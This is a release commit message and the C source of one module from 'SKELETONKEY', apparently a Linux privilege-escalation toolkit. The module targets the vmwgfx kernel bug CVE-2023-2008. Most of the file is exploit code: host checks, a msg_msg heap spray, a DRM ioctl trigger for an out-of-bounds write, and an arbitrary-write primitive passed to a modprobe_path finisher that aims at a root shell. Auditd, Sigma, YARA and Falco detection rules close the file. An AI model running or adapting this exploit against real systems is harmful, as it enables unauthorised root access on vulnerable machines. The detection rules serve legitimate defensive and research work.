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leviathan 5d48a7b0b5 release v0.7.1: arm64-static binary + per-module arch_support
Two additions on top of v0.7.0:

1. skeletonkey-arm64-static is now published alongside the existing
   x86_64-static binary. Built native-arm64 in Alpine via GitHub's
   ubuntu-24.04-arm runner pool (free for public repos as of 2024).
   install.sh auto-picks it based on 'uname -m'; SKELETONKEY_DYNAMIC=1
   fetches the dynamic build instead. Works on Raspberry Pi 4+, Apple
   Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM, etc.

   .github/workflows/release.yml refactor: the previous single
   build-static-x86_64 job becomes a build-static matrix with two
   entries (x86_64-static on ubuntu-latest, arm64-static on
   ubuntu-24.04-arm). Both share the same Alpine container + build
   recipe.

2. .arch_support field on struct skeletonkey_module — honest per-module
   labeling of which architectures the exploit() body has been verified
   on. Three categories:

     'any' (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
       pack2theroot. Purely userspace; arch-independent.

     'x86_64' (1 module): entrybleed. KPTI prefetchnta side-channel;
       x86-only by physics. Already source-gated (returns
       PRECOND_FAIL on non-x86_64).

     'x86_64+unverified-arm64' (26 modules): kernel exploitation
       code. The bug class is generic but the exploit primitives
       (msg_msg sprays, finisher chain, struct offsets) haven't been
       confirmed on arm64. detect() still works (just reads ctx->host);
       only the --exploit path is in question.

   --list now has an ARCH column (any / x64 / x64?) and the footer
   prints 'N arch-independent (any)'.
   --module-info prints 'arch support: <value>'.
   --scan --json adds 'arch_support' to each module record.

This is the honest 'arm64 works for detection on every module +
exploitation on 4 of them today; the rest await empirical arm64
sweep' framing — not pretending the kernel exploits already work
there, but not blocking the arm64 binary on that either. arm64
users get the full triage workflow + a handful of userspace exploits
out of the box, plus a clear roadmap for the rest.

Future work to promote modules from 'x86_64+unverified-arm64' to
'any': add an arm64 Vagrant box (generic/debian12-arm64 etc.) to
tools/verify-vm/ and run a verification sweep on Apple Silicon /
ARM Linux hardware.
2026-05-23 21:10:54 -04:00

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/*
* vmwgfx_cve_2023_2008 — SKELETONKEY module
*
* The vmwgfx DRM driver's buffer-object creation path validates only
* the requested page count, not the underlying byte size used by the
* subsequent kunmap_atomic-style copy. A crafted DRM_IOCTL_VMW_*
* sequence (CREATE_DMABUF + mmap of the returned bo + page-spanning
* write through the mapped offset) drives a slab heap-OOB write
* inside the kernel's kmalloc-512 cache. The mainline fix
* (2cd80ebbdf "drm/vmwgfx: Validate the bo size for ttm_bo_kmap")
* landed in 6.3-rc6. The bug is reachable only from inside a VMware
* Guest OS (the vmwgfx driver only binds against the VMware SVGA-II
* virtual GPU).
*
* STATUS: 🟡 PRIMITIVE — slab-OOB trigger + msg_msg cross-cache
* groom in kmalloc-512. We do NOT carry a cred-overwrite or
* kbase-leak primitive (per-kernel offsets vary by build, and the
* public PoC references device-specific TTM register state we do
* not fake). The detect-and-trigger path is the high-confidence
* demonstration; full-chain depth is FALLBACK (kaddr-tagged spray +
* shared modprobe_path finisher arbitrated by sentinel file).
*
* Affected: Linux 4.0+ through 6.2.x with vmwgfx driver bound to a
* VMware SVGA-II device. Fixed mainline 6.3-rc6 (commit 2cd80ebbdf).
* Stable backports landed in 6.2.x and 6.1 LTS.
*
* Preconditions:
* - host is a VMware Guest (dmi sys_vendor = "VMware*")
* - /dev/dri/cardN exists with driver==vmwgfx
* - userland can open /dev/dri/cardN (render-group / video-group or
* setuid)
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#ifdef __linux__
# include <sys/ipc.h>
# include <sys/msg.h>
# include <sys/syscall.h>
#endif
/* DRM ioctl primitives — declared inline so the module remains
* self-contained on hosts where <drm/drm.h> isn't installed (which is
* the macOS build host case). */
#ifndef DRM_IOCTL_BASE
#define DRM_IOCTL_BASE 'd'
#endif
#ifndef _IOC
/* Should be present from <sys/ioctl.h>, but guard anyway. */
#endif
/* DRM_IOCTL_VERSION — used to probe driver name. */
struct drm_version_compat {
int version_major;
int version_minor;
int version_patchlevel;
size_t name_len;
char *name;
size_t date_len;
char *date;
size_t desc_len;
char *desc;
};
#ifndef DRM_IOCTL_VERSION
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version_compat)
#endif
/* vmwgfx-specific ioctls. Numbers match the in-tree
* uapi/drm/vmwgfx_drm.h ABI for kernels in the affected range
* (DRM_COMMAND_BASE = 0x40). DRM_IOCTL_VMW_CREATE_DMABUF /
* DRM_IOCTL_VMW_UNREF_DMABUF are present on every vmwgfx-bearing
* kernel since the dma-buf rename. We declare them locally so that a
* build host without vmwgfx_drm.h still compiles. */
struct drm_vmw_alloc_dmabuf_req {
uint32_t size;
};
struct drm_vmw_dmabuf_rep {
uint32_t handle;
uint32_t map_handle_lo;
uint32_t map_handle_hi;
uint32_t cur_gmr_id;
uint32_t cur_gmr_offset;
};
union drm_vmw_alloc_dmabuf_arg {
struct drm_vmw_alloc_dmabuf_req req;
struct drm_vmw_dmabuf_rep rep;
};
#define DRM_VMW_CREATE_DMABUF 0x0a
#define DRM_VMW_UNREF_DMABUF 0x0b
#ifndef DRM_COMMAND_BASE
#define DRM_COMMAND_BASE 0x40
#endif
#define DRM_IOCTL_VMW_CREATE_DMABUF \
_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_CREATE_DMABUF, \
union drm_vmw_alloc_dmabuf_arg)
#define DRM_IOCTL_VMW_UNREF_DMABUF \
_IOW(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_UNREF_DMABUF, uint32_t)
/* ---- kernel range ------------------------------------------------- */
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
{5, 10, 127}, /* 5.10.x stable (per Debian tracker — bullseye) */
{5, 18, 14}, /* 5.18.x stable (per Debian tracker — bookworm/forky/sid/trixie) */
{6, 1, 23}, /* 6.1 LTS backport */
{6, 2, 10}, /* 6.2.x stable backport */
{6, 3, 0}, /* mainline (6.3-rc6) */
};
static const struct kernel_range vmwgfx_range = {
.patched_from = vmwgfx_patched_branches,
.n_patched_from = sizeof(vmwgfx_patched_branches) /
sizeof(vmwgfx_patched_branches[0]),
};
/* ---- precondition probes ------------------------------------------ */
/* Read first line of /sys/devices/virtual/dmi/id/sys_vendor (trimmed)
* into `out`. Returns true on success. */
static bool read_dmi_sys_vendor(char *out, size_t out_sz)
{
int fd = open("/sys/devices/virtual/dmi/id/sys_vendor", O_RDONLY);
if (fd < 0) return false;
ssize_t n = read(fd, out, out_sz - 1);
close(fd);
if (n <= 0) return false;
out[n] = '\0';
/* trim trailing newline / spaces */
while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == ' '
|| out[n - 1] == '\t' || out[n - 1] == '\r')) {
out[--n] = '\0';
}
return n > 0;
}
static bool host_is_vmware_guest(char *vendor_out, size_t vendor_out_sz)
{
char vendor[128] = {0};
if (!read_dmi_sys_vendor(vendor, sizeof vendor)) return false;
if (vendor_out && vendor_out_sz) {
snprintf(vendor_out, vendor_out_sz, "%s", vendor);
}
/* Standard VMware DMI string is "VMware, Inc." but be loose. */
return strncasecmp(vendor, "VMware", 6) == 0;
}
/* Resolve /sys/class/drm/card0/device/driver symlink and check whether
* the target's basename is "vmwgfx". */
static bool card_driver_is_vmwgfx(const char *cardpath)
{
char link[512];
snprintf(link, sizeof link, "/sys/class/drm/%s/device/driver", cardpath);
char target[512] = {0};
ssize_t n = readlink(link, target, sizeof target - 1);
if (n <= 0) return false;
target[n] = '\0';
const char *base = strrchr(target, '/');
base = base ? base + 1 : target;
return strcmp(base, "vmwgfx") == 0;
}
/* Locate the first /dev/dri/cardN whose driver is vmwgfx. Writes the
* basename (e.g. "card0") into out. Returns true on hit. */
static bool find_vmwgfx_card(char *out, size_t out_sz)
{
for (int i = 0; i < 8; i++) {
char name[16];
snprintf(name, sizeof name, "card%d", i);
if (card_driver_is_vmwgfx(name)) {
snprintf(out, out_sz, "%s", name);
return true;
}
}
return false;
}
/* Probe DRM_IOCTL_VERSION on the card device. Returns the driver-name
* string on success (caller-owned heap, must free) or NULL. */
static char *probe_drm_version_name(const char *cardpath)
{
char devpath[64];
snprintf(devpath, sizeof devpath, "/dev/dri/%s", cardpath);
int fd = open(devpath, O_RDWR | O_CLOEXEC);
if (fd < 0) return NULL;
struct drm_version_compat v;
memset(&v, 0, sizeof v);
/* Two-stage ioctl: first call learns name_len, second fills name. */
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return NULL; }
if (v.name_len == 0 || v.name_len > 256) { close(fd); return NULL; }
char *name = calloc(1, v.name_len + 1);
if (!name) { close(fd); return NULL; }
v.name = name;
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) {
free(name); close(fd); return NULL;
}
name[v.name_len] = '\0';
close(fd);
return name;
}
/* ---- Detect ------------------------------------------------------- */
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] vmwgfx: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&vmwgfx_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
"6.2.10 / 6.1.23)\n", v->release);
}
return SKELETONKEY_OK;
}
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
* report PRECOND_FAIL rather than VULNERABLE. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 0, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v->release);
}
return SKELETONKEY_PRECOND_FAIL;
}
/* VMware-guest gate. */
char vendor[128] = {0};
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
if (!ctx->json) {
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
vendor[0] ? vendor : "(unreadable)");
}
if (!vmware) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: host is not a VMware guest — vmwgfx "
"driver cannot bind; bug unreachable here\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
/* DRM card + driver-name gate. */
char card[16] = {0};
if (!find_vmwgfx_card(card, sizeof card)) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: no /dev/dri/cardN bound to vmwgfx — "
"module unloaded or no SVGA-II PCI device\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
char *drv = probe_drm_version_name(card);
if (!drv) {
if (!ctx->json) {
fprintf(stderr, "[-] vmwgfx: cannot open/ioctl /dev/dri/%s "
"(permission denied?)\n", card);
}
return SKELETONKEY_PRECOND_FAIL;
}
bool drv_match = strcmp(drv, "vmwgfx") == 0;
if (!ctx->json) {
fprintf(stderr, "[i] vmwgfx: /dev/dri/%s driver name reported as \"%s\"\n",
card, drv);
}
free(drv);
if (!drv_match) {
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] vmwgfx: VULNERABLE — kernel in range + VMware guest + "
"vmwgfx card reachable\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit groom ------------------------------------------------ */
#define VMW_SPRAY_QUEUES 24
#define VMW_SPRAY_PER_QUEUE 24
#define VMW_PAYLOAD_BYTES 496 /* 512 - msg_msg header (~16) */
struct ipc_payload {
long mtype;
unsigned char buf[VMW_PAYLOAD_BYTES];
};
#ifdef __linux__
static int spray_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x56; /* 'V' for vmwgfx */
memset(p.buf, 0x56, sizeof p.buf);
memcpy(p.buf, "SKVMWGFX", 8);
int created = 0;
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (q < 0) { queues[i] = -1; continue; }
queues[i] = q;
created++;
for (int j = 0; j < VMW_SPRAY_PER_QUEUE; j++) {
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
}
}
return created;
}
static void drain_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
{
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
}
}
static long slab_active_kmalloc_512(void)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
char name[64];
long act = 0, num = 0;
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
active = act;
}
break;
}
}
fclose(f);
return active;
}
/* Open the vmwgfx card. Returns fd or -1. */
static int open_vmwgfx_card(void)
{
char card[16] = {0};
if (!find_vmwgfx_card(card, sizeof card)) return -1;
char devpath[64];
snprintf(devpath, sizeof devpath, "/dev/dri/%s", card);
return open(devpath, O_RDWR | O_CLOEXEC);
}
/* Drive the OOB write trigger.
*
* The bug fires when vmw_buffer_object_set_user_args() (called from
* the CREATE_DMABUF path) passes a partially-validated size into the
* subsequent ttm_bo_kmap() / kunmap_atomic copy loop. A crafted
* `size` field — chosen so the PAGE_ALIGN'd page count fits a
* kmalloc-512 slab while the byte count overruns it — causes the
* mapped-page write to spill past the slab boundary.
*
* Mechanically:
* 1. CREATE_DMABUF with size = 4096 + 16 (page-spanning by 16 B)
* 2. mmap the returned map_handle into userspace
* 3. write a recognizable pattern across the page boundary
* 4. close + UNREF_DMABUF — the kunmap_atomic teardown is where the
* OOB write commits on vulnerable kernels
*
* On a non-vmwgfx host the ioctls return -ENOTTY / -EOPNOTSUPP and the
* trigger is a no-op. Our caller short-circuits before reaching this
* point in that case. */
static bool trigger_vmwgfx_oob(int fd, unsigned char fill_byte)
{
union drm_vmw_alloc_dmabuf_arg a;
memset(&a, 0, sizeof a);
/* Size chosen to land in kmalloc-512 page-count bucket while the
* subsequent byte-length copy overruns into the next slab slot.
* The exact value 4096+16 mirrors the public PoC's choice. */
a.req.size = 4096 + 16;
if (ioctl(fd, DRM_IOCTL_VMW_CREATE_DMABUF, &a) < 0) {
fprintf(stderr, "[-] vmwgfx: DRM_IOCTL_VMW_CREATE_DMABUF: %s\n",
strerror(errno));
return false;
}
uint64_t map_handle = ((uint64_t)a.rep.map_handle_hi << 32) | a.rep.map_handle_lo;
size_t map_len = 4096 * 2; /* over-map to include the spill page */
void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, (off_t)map_handle);
if (p == MAP_FAILED) {
fprintf(stderr, "[-] vmwgfx: mmap(map_handle=0x%llx): %s\n",
(unsigned long long)map_handle, strerror(errno));
/* Still unref. */
uint32_t h = a.rep.handle;
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
return false;
}
/* Stripe the buffer with our witness pattern. The bytes past
* offset 4096 are where the OOB write lands on a vulnerable
* kernel. */
memset(p, fill_byte, map_len);
memcpy((char *)p + 4096, "SKVMOOB!", 8);
/* Force the kunmap_atomic teardown that commits the OOB write. */
munmap(p, map_len);
uint32_t h = a.rep.handle;
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
return true;
}
/* ---- Arb-write primitive (FALLBACK depth) -------------------------
*
* Re-fire the trigger with a kaddr-tagged spray planted in the
* adjacent kmalloc-512 slot. We cannot in-process verify the write —
* the shared finisher's 3 s sentinel-file check is the empirical
* arbiter. On a patched kernel or when the spray fails to land in the
* spilled-over slot the finisher returns EXPLOIT_FAIL gracefully. */
struct vmwgfx_arb_ctx {
int queues[VMW_SPRAY_QUEUES];
int n_queues;
int card_fd;
int arb_calls;
int arb_landed;
};
static int vmwgfx_reseed_kaddr_spray(int queues[VMW_SPRAY_QUEUES],
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x4B; /* 'K' for kaddr */
memset(p.buf, 0x4B, sizeof p.buf);
memcpy(p.buf, "IAMVMARB", 8);
/* Plant kaddr at byte 8, payload bytes immediately after. The OOB
* write lands within the first ~16 bytes of the neighbour slot, so
* the kernel's overrun touches exactly this region. */
uint64_t k = (uint64_t)kaddr;
memcpy(p.buf + 8, &k, sizeof k);
size_t copy = len;
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
if (buf && copy) memcpy(p.buf + 16, buf, copy);
int touched = 0;
for (int i = 0; i < VMW_SPRAY_QUEUES && touched < 6; i++) {
if (queues[i] < 0) continue;
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
}
return touched;
}
static int vmwgfx_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct vmwgfx_arb_ctx *c = (struct vmwgfx_arb_ctx *)ctx_v;
if (!c || c->n_queues == 0 || c->card_fd < 0) return -1;
c->arb_calls++;
fprintf(stderr, "[*] vmwgfx: arb_write #%d kaddr=0x%lx len=%zu "
"(FALLBACK — single-shot OOB)\n",
c->arb_calls, (unsigned long)kaddr, len);
int seeded = vmwgfx_reseed_kaddr_spray(c->queues, kaddr, buf, len);
if (seeded == 0) {
fprintf(stderr, "[-] vmwgfx: arb_write: kaddr reseed produced 0 msgs\n");
return -1;
}
/* Re-fire the OOB trigger. The fill byte encodes the call number
* so a KASAN dump can be cross-referenced. */
unsigned char fill = (unsigned char)(0xA0 + (c->arb_calls & 0x0F));
if (!trigger_vmwgfx_oob(c->card_fd, fill)) {
fprintf(stderr, "[-] vmwgfx: arb_write: re-trigger failed\n");
return -1;
}
usleep(50 * 1000);
c->arb_landed++;
/* Return 0; finisher's sentinel arbitrates. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
#ifdef __linux__
static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] vmwgfx: refusing — --i-know not set\n");
return SKELETONKEY_PRECOND_FAIL;
}
skeletonkey_result_t pre = vmwgfx_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] vmwgfx: kernel not vulnerable; refusing exploit\n");
return SKELETONKEY_OK;
}
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Full-chain pre-check. */
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("vmwgfx");
fprintf(stderr, "[-] vmwgfx: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
int card_fd = open_vmwgfx_card();
if (card_fd < 0) {
fprintf(stderr, "[-] vmwgfx: cannot open vmwgfx card: %s\n", strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
signal(SIGPIPE, SIG_IGN);
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: opened vmwgfx card fd=%d\n", card_fd);
fprintf(stderr, "[*] vmwgfx: seeding kmalloc-512 msg_msg spray\n");
}
struct vmwgfx_arb_ctx arb_ctx;
memset(&arb_ctx, 0, sizeof arb_ctx);
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) arb_ctx.queues[i] = -1;
arb_ctx.card_fd = card_fd;
arb_ctx.n_queues = spray_kmalloc_512(arb_ctx.queues);
if (arb_ctx.n_queues == 0) {
fprintf(stderr, "[-] vmwgfx: msg_msg spray produced 0 queues — sysvipc "
"may be restricted\n");
close(card_fd);
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: spray seeded %d queues x %d msgs\n",
arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE);
}
long pre_active = slab_active_kmalloc_512();
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: firing CREATE_DMABUF + mmap + OOB-write trigger\n");
}
bool fired = trigger_vmwgfx_oob(card_fd, 0xAA);
long post_active = slab_active_kmalloc_512();
FILE *log = fopen("/tmp/skeletonkey-vmwgfx.log", "w");
if (log) {
fprintf(log,
"vmwgfx CVE-2023-2008 trigger:\n"
" card_fd = %d\n"
" spray_queues = %d\n"
" spray_per_queue = %d\n"
" trigger_fired = %s\n"
" slab_kmalloc512_pre = %ld\n"
" slab_kmalloc512_post = %ld\n"
" slab_delta = %ld\n"
"Note: this run did NOT attempt cred overwrite. See module .c\n"
"for the continuation roadmap.\n",
card_fd, arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE,
fired ? "yes" : "no",
pre_active, post_active,
(pre_active >= 0 && post_active >= 0) ? (post_active - pre_active) : 0);
fclose(log);
}
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: kmalloc-512 active: pre=%ld post=%ld\n",
pre_active, post_active);
}
if (!fired) {
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
fprintf(stderr, "[~] vmwgfx: trigger ioctl path failed — kernel may be\n"
" patched or the ABI shape doesn't match this build.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* --full-chain branch. */
if (full_chain_ready) {
int fr = skeletonkey_finisher_modprobe_path(&off,
vmwgfx_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/skeletonkey-vmwgfx.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
if (fr == SKELETONKEY_EXPLOIT_OK) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: --full-chain finisher reported OK\n");
}
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[~] vmwgfx: --full-chain finisher returned FAIL —\n"
" either the kernel is patched, the spray didn't\n"
" line up adjacent to the bo slab slot, or the OOB\n"
" bytes didn't include the kaddr the finisher polls\n"
" for. See /tmp/skeletonkey-vmwgfx.log + dmesg.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: trigger ran to completion. Inspect dmesg for\n"
" KASAN/oops witnesses.\n");
fprintf(stderr, "[~] vmwgfx: cred-overwrite step not invoked (no\n"
" --full-chain); returning EXPLOIT_FAIL per\n"
" verified-vs-claimed policy.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static skeletonkey_result_t vmwgfx_exploit(const struct skeletonkey_ctx *ctx)
{
#ifdef __linux__
return vmwgfx_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] vmwgfx: Linux-only module; cannot run on this host\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static skeletonkey_result_t vmwgfx_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: cleaning up breadcrumb\n");
}
/* The msg queues live in the (exited) exploit process for now —
* the kernel auto-reaps them on process death. Belt-and-braces:
* walk /proc/sysvipc/msg and remove any owned by our uid. We keep
* this minimal: just drop the log. */
if (unlink("/tmp/skeletonkey-vmwgfx.log") < 0 && errno != ENOENT) {
/* harmless */
}
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
static const char vmwgfx_auditd[] =
"# vmwgfx CVE-2023-2008 — auditd detection rules\n"
"# Trigger shape: open(/dev/dri/card*) by non-root, followed by\n"
"# DRM_IOCTL_VMW_CREATE_DMABUF / mmap / UNREF_DMABUF burst, often\n"
"# paired with msgsnd spray for cross-cache groom. None of these\n"
"# syscalls are individually suspicious; flag the combination.\n"
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card0 -k skeletonkey-vmwgfx-open\n"
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card1 -k skeletonkey-vmwgfx-open\n"
"-a always,exit -F arch=b64 -S ioctl -F a1=0xc010644a -k skeletonkey-vmwgfx-create\n"
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
static const char vmwgfx_sigma[] =
"title: Possible CVE-2023-2008 vmwgfx DRM bo size OOB\n"
"id: 4d35f6db-skeletonkey-vmwgfx\n"
"status: experimental\n"
"description: |\n"
" Detects openat(/dev/dri/card*) + DRM_IOCTL_VMW_CREATE_DMABUF\n"
" (0xc010644a) + UNREF (0x4004644b) + msg_msg groom sequence\n"
" characteristic of the vmwgfx kmalloc-512 OOB. Only reachable\n"
" on VMware guests with the vmwgfx driver loaded.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" drm: {type: 'SYSCALL', syscall: 'openat'}\n"
" ioctl: {type: 'SYSCALL', syscall: 'ioctl'}\n"
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
" condition: drm and ioctl and groom\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.2008]\n";
static const char vmwgfx_yara[] =
"rule vmwgfx_cve_2023_2008 : cve_2023_2008 kernel_oob_write\n"
"{\n"
" meta:\n"
" cve = \"CVE-2023-2008\"\n"
" description = \"vmwgfx DRM kmalloc-512 spray tag (SKVMWGFX) and log breadcrumb\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $tag = \"SKVMWGFX\" ascii\n"
" $log = \"/tmp/skeletonkey-vmwgfx.log\" ascii\n"
" condition:\n"
" any of them\n"
"}\n";
static const char vmwgfx_falco[] =
"- rule: vmwgfx DRM CREATE_DMABUF + UNREF ioctl by non-root\n"
" desc: |\n"
" Non-root process opens /dev/dri/card* and invokes\n"
" DRM_IOCTL_VMW_CREATE_DMABUF (0xc010644a) + UNREF\n"
" (0x4004644b). Only reachable on VMware guests; the size\n"
" validation gap drives a kmalloc-512 OOB during ttm_bo_kmap.\n"
" CVE-2023-2008.\n"
" condition: >\n"
" evt.type = ioctl and fd.name startswith /dev/dri/card and\n"
" not user.uid = 0\n"
" output: >\n"
" vmwgfx DRM ioctl by non-root\n"
" (user=%user.name pid=%proc.pid dev=%fd.name)\n"
" priority: HIGH\n"
" tags: [device, mitre_privilege_escalation, T1068, cve.2023.2008]\n";
const struct skeletonkey_module vmwgfx_module = {
.name = "vmwgfx",
.cve = "CVE-2023-2008",
.summary = "vmwgfx DRM bo size-validation OOB write in kmalloc-512 → kernel primitive",
.family = "drm",
.kernel_range = "4.0 ≤ K < 6.3-rc6 (vmwgfx); backports: 6.2.10 / 6.1.23",
.detect = vmwgfx_detect,
#ifdef __linux__
.exploit = vmwgfx_exploit,
#else
.exploit = NULL,
#endif
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
.cleanup = vmwgfx_cleanup,
.detect_auditd = vmwgfx_auditd,
.detect_sigma = vmwgfx_sigma,
.detect_yara = vmwgfx_yara,
.detect_falco = vmwgfx_falco,
.opsec_notes = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
.arch_support = "x86_64+unverified-arm64",
};
void skeletonkey_register_vmwgfx(void)
{
skeletonkey_register(&vmwgfx_module);
}